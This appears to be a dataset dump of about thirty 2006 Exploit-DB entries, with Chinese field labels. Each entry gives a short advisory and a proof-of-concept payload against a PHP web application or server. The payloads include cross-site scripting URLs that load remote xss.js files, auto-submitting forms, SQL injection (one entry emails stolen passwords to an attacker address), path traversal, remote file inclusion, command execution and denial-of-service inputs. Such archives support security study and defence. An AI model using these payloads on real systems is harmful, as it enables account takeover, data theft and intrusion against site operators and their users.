QLWD/code_shield huggingface dataset:
标题: MyBloggie 2.1.2/2.1.3 - 'upload.php' Cross-Site Scripting EDB-ID: 27380 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info

MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/admin.php?mode=upload&del=xss_string

http://www.example.com/mybloggie213beta/admin.php?mode=upload&message=xss_string URL: https://www.exploit-db.com/exploits/27380
标题: TextFileBB 1.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 27373 CVE: 2006-1202 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/17029/info

The 'textfileBB' application is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/messanger.php?mess=%3Cscript%20src=http://www.example.com/xss.js%3E%3C/script%3E


http://www.example.com/messanger.php?p=MSN&user=%3Cscript%0src=http://www.example.com/xss.js%3E%3C/script%3E


http://www.example.com/messanger.php?p=YIM&user=%3Cscript%0src=http://www.example.com/xss.js%3E%3C/script%3E


http://www.example.com/messanger.php?p=ICQ&user=%3Cscript%0src=http://www.example.com/xss.js%3E%3C/script%3E


http://www.example.com/messanger.php?p=AIM&user=%22%3E%3C/head%3E%3Cbody%3E%3Cscript20src=http://www.example.com/xss.js%3E%3C/body%3E%3C/html%3E URL: https://www.exploit-db.com/exploits/27373
标题: LoudBlog 0.41 - 'podcast.php' SQL Injection EDB-ID: 27368 CVE: 2006-1113 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17023/info

Loudblog is prone to multiple input-validation vulnerabilities:

- An SQL-injection vulnerability.
- Two local file-include vulnerabilities.
- An information-disclosure vulnerability.

These issues allow remote attackers to execute arbitrary PHP script code in the context of the hosting webserver, gain administrative privileges in the web application, and gain access to potentially sensitive information.

The SQL-injection vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Other attacks may also be possible.

Loudblog version 0.41 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/loudblog/podcast.php?id=[SQL] URL: https://www.exploit-db.com/exploits/27368
标题: Easy File Sharing Web Server 3.2 - Format String Denial of Service EDB-ID: 27377 CVE: 2006-1159 类型: DOS 平台: WINDOWS 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17046/info

Easy File Sharing Web Server is prone to multiple input-validation vulnerabilities. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

The issues include HTML-injection, denial-of-service, and arbitrary file-upload vulnerabilities.

An attacker can exploit these issues to steal cookie-based authentication credentials, control how the site is rendered to the user, cause the application to crash, and facilitate a compromise of the underlying computer.

http://www.example.com/?%25n URL: https://www.exploit-db.com/exploits/27377
标题: HitHost 1.0 - 'viewuser.php?hits' Cross-Site Scripting EDB-ID: 27372 CVE: 2006-1144 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/17025/info
 
HitHost is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/admin/viewuser.php?hits=<script%20src=http://www.exmaple.com/xss.js></script> URL: https://www.exploit-db.com/exploits/27372
标题: MyBloggie 2.1.2/2.1.3 - 'delcomment.php' Cross-Site Scripting EDB-ID: 27381 CVE: 2006-1205 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/17048/info
 
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/index.php?mode=delcom&confirmredirect="><script>alert('xss_string')</script>

<form action="http://www.example.com/mybloggie213beta/index.php?mode=delcom&comment_id=1&redirect=adm&confirm=yes" method="post">
<input type="text" name="post_id" value='">xss_string' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://www.example.com/mybloggie213beta/index.php?mode=delcom&comment_id=1" method="post">
<input type="text" name="post_id" value='">xss_string' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script> URL: https://www.exploit-db.com/exploits/27381
标题: LoudBlog 0.41 - 'backend_settings.php' Traversal Arbitrary File Access EDB-ID: 27370 CVE: 2006-1114 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/17023/info
  
Loudblog is prone to multiple input-validation vulnerabilities:
  
- An SQL-injection vulnerability.
- Two local file-include vulnerabilities.
- An information-disclosure vulnerability.
  
These issues allow remote attackers to execute arbitrary PHP script code in the context of the hosting webserver, gain administrative privileges in the web application, and gain access to potentially sensitive information.
  
The SQL-injection vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
Other attacks may also be possible.
  
Loudblog version 0.41 is vulnerable to these issues; other versions may also be affected.

POST /loudblog/loudblog/inc/backend_settings.php HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

language=../../../index URL: https://www.exploit-db.com/exploits/27370
标题: Invision Power Board 2.1.5 - showtopic SQL Injection EDB-ID: 27361 CVE: 2006-1076 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16971/info

Invision Power Board is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

NOTE: Further information indicates this issue is not a vulnerability; this BID is being retired.

http://www.example.com/index.php?showtopic=208510&pid=1366158&st=-1[sql]&#entry1366158 URL: https://www.exploit-db.com/exploits/27361
标题: Monopd 0.9.3 - Remote Denial of Service EDB-ID: 27365 CVE: 2006-1046 类型: DOS 平台: MULTIPLE 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16981/info

The Monopd game server is prone to a remote denial-of-service vulnerability.

A remote attacker may exploit this issue to deny service for legitimate users.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27365.zip URL: https://www.exploit-db.com/exploits/27365
标题: Game-Panel 2.6 - 'login.php' Cross-Site Scripting EDB-ID: 27364 CVE: 2006-1080 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16979/info

Game-Panel is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/login.php?message=%3CSCRIPT%20SRC=http://notlegal.ws/xss.js%3E%3C/SCRIPT%3E URL: https://www.exploit-db.com/exploits/27364
标题: CutePHP CuteNews 1.4.1 - 'index.php' Cross-Site Scripting EDB-ID: 27356 CVE: 2006-1121 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/16961/info

CuteNews is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

CuteNews version 1.4.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/index.php?subaction=showcomments&id=[number]&archive=&start_from=&ucat=&">[code] URL: https://www.exploit-db.com/exploits/27356
标题: DVGuestbook 1.0/1.2.2 - 'dv_gbook.php?f' Cross-Site Scripting EDB-ID: 27359 CVE: 2006-1070 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16968/info
 
DVGuestbook is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/dv_gbook.php?d=0&f='"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27359
标题: VBZooM Forum 1.11 - 'comment.php?UserID' Cross-Site Scripting EDB-ID: 27347 CVE: 2006-1133 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/16956/info

VBZooM Forum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/vz/comment.php?UserID='>XSS URL: https://www.exploit-db.com/exploits/27347
标题: DVGuestbook 1.0/1.2.2 - 'index.php?page' Cross-Site Scripting EDB-ID: 27358 CVE: 2006-1071 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16968/info

DVGuestbook is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/path/index.php?page="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27358
标题: Easy Forum 2.5 - New User Image File HTML Injection EDB-ID: 27354 CVE: 2006-0877 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/16958/info

Easy Forum is prone to an HTML-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible. 

This issue is reported to affect version 2.5. Other versions may also be vulnerable.

Example 'Image File' data sufficient to demonstrate this issue was provided:
javascript:alert(123) sometext.gif URL: https://www.exploit-db.com/exploits/27354
标题: VBZooM Forum 1.11 - 'contact.php?UserID' Cross-Site Scripting EDB-ID: 27348 CVE: 2006-1133 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/16956/info
 
VBZooM Forum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/vz/contact.php?UserID='>XSS URL: https://www.exploit-db.com/exploits/27348
标题: RunCMS 1.x - 'Bigshow.php' Cross-Site Scripting EDB-ID: 27360 CVE: 2006-1216 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16970/info

RunCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/[target]/modules/downloads/bigshow.php?id=[url of an image]'>[code] URL: https://www.exploit-db.com/exploits/27360
标题: Bitweaver 1.1/1.2 - 'Title' HTML Injection EDB-ID: 27362 CVE: 2006-1131 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16973/info

The bitweaver application is prone to an HTML-injection vulnerability. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

This issue is reported to affect version 1.2.1; other versions may also be vulnerable.

http://www.exapmle.com/[patch]/read.php?article_id=7#editcomments
POST /articles/read.php?article_id=7 HTTP/1.1
Host: http://www.exapmle.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.exapmle.com/articles/read.php?article_id=7
Cookie: mod_usertrack=82.56.164.250.1141558144377994; BWSESSION=v5a6krvki42h0puv48dc5coki0; tz_offset=3600; tiki-user-bitweaver=616706c4d6f7bdf68b30893f860cbb2b
Content-Type: application/x-www-form-urlencoded
Content-Length: 265
tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=commentDate_desc&post_comment_reply_id=&post_comment_id=&comment_title=hacking&comment_data=[your_name_logged]&post_comment_submit=Post

but we can modify the request POST in this way:

tk=c67481b438f7be3da147&comments_maxComments=10&comments_style=threaded&comments_sort_mode=commentDate_desc&post_comment_reply_id=&post_comment_id=&comment_title=%3Cscript%3Ealert%28%22lol%22%29%3B%3C%2Fscript%3E&comment_data=[your_name_logged]&post_comment_submit=Post URL: https://www.exploit-db.com/exploits/27362
标题: Woltlab Burning Board 2.3.4 - 'misc.php' Cross-Site Scripting EDB-ID: 27355 CVE: 2006-1215 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/16959/info

Woltlab Burning Board is prone to a cross-site scripting vulnerability. This issue is due to a lack of proper sanitization of user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/wbb/acp/misc.php?sid=yoursessionid&action=workingtop&taskname=Backup%20Database&percent=<script>aler(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27355
标题: PHORUM 3.x/5.x - 'Common.php' Remote File Inclusion EDB-ID: 27363 CVE: 2006-3053 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/16977/info

The PHORUM application is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

This issue is reported to affect versions 5.1.13 and prior; other versions may also be vulnerable.

NOTE: The vendor reports that this issue cannot be exploited due to security restrictions placed on 'common.php'; therefore, this BID is being retired.

http://www.example.com/[phorum_path]/common.php?PHORUM[http_path]=[evil_scripts] URL: https://www.exploit-db.com/exploits/27363
标题: Simplog 1.0.2 - Information Disclosure EDB-ID: 27357 CVE: 2006-1073 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/16965/info

Simplog is prone to an information-disclosure vulnerability. The application fails to properly sanitize user-supplied input.

Attackers may exploit this issue to gain access to potentially sensitive information, aiding them in further attacks.

Simplog version 1.0.2 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/index.php?act=blog&blogid=../somefile
http://www.example.com/index.php?act=../somefile URL: https://www.exploit-db.com/exploits/27357
标题: VBZoom Forum 1.11 - 'show.php' MainID SQL Injection EDB-ID: 27346 CVE: 2006-1132 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/16955/info

VBZooM Forum is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/vz/show.php?UserID=1&MainID=[SQL]&SubjectID=1 URL: https://www.exploit-db.com/exploits/27346
标题: SMBlog 1.2 - Arbitrary PHP Command Execution EDB-ID: 27340 CVE: 2006-1013 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/16905/info

SMBlog is prone to an arbitrary command-execution vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP commands on the vulnerable computer in the context of the webserver process.

http://www.example.com/?pg=evilcode?&cmd=id URL: https://www.exploit-db.com/exploits/27340
标题: DCI-Designs Dawaween 1.03 - 'Poems.php' SQL Injection EDB-ID: 27341 CVE: 2006-1018 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/16909/info

Dawaween is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploits could allow a remote attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Dawaween 1.03 is affected by this issue.

http://www.example.com/poems/poems.php?division=diwan&action=view&offset=25&id=[sql] URL: https://www.exploit-db.com/exploits/27341
标题: PEHEPE Membership Management System 3.0 - Remote PHP Script Code Injection EDB-ID: 27339 CVE: 2006-1022 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/16887/info

PEHEPE Membership Management System is prone to a remote PHP code-injection vulnerability. 

An attacker can exploit this issue to facilitate a compromise of the application and the underlying system; other attacks are also possible. 

PEHEPE Membership Management System version 3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/sol_menu.php?uye_klasor=http://www.example.org&misafir[]=UYE_SEVIYE URL: https://www.exploit-db.com/exploits/27339
标题: PHP 4.x/5.0/5.1 - 'mb_send_mail()' Restriction Bypass EDB-ID: 27335 CVE: 2006-1014 类型: LOCAL 平台: PHP 发布日期: 2006-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/16878/info
 
PHP is prone to multiple input-validation vulnerabilities that could allow 'safe_mode' and 'open_basedir' security settings to be bypassed. These issues reside in the 'mb_send_mail()' function, the 'mail()' function, and various PHP IMAP functions.

mb_send_mail($email_address, NULL, NULL, NULL, $additional_param); URL: https://www.exploit-db.com/exploits/27335
标题: EJ3 TOPo 2.2.178 - 'Inc_header.php' Cross-Site Scripting EDB-ID: 27336 CVE: 2006-0984 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/16879/info

EJ3 TOPo is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/inc_header.php?gTopNombre=?><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27336
标题: PluggedOut Nexus 0.1 - 'forgotten_password.php' SQL Injection EDB-ID: 27342 CVE: 2006-1081 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/16915/info

PluggedOut Nexus is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Nexus 0.1 is reportedly affected by this issue.

The following proof of concept exploit is available:
Insert this code in E-Mail Address form (http://www.example.com/Nexus/forgotten_password.php) :
hamidnetworksecurityteam' union select
cUsername,cPassword,'ATTACKER@EMAIL.ADDRESS' from
nexus_users WHERE nUserId=1 and '1'='1

This will email the password for userID=1 to ATTACKER@EMAIL.ADDRESS. URL: https://www.exploit-db.com/exploits/27342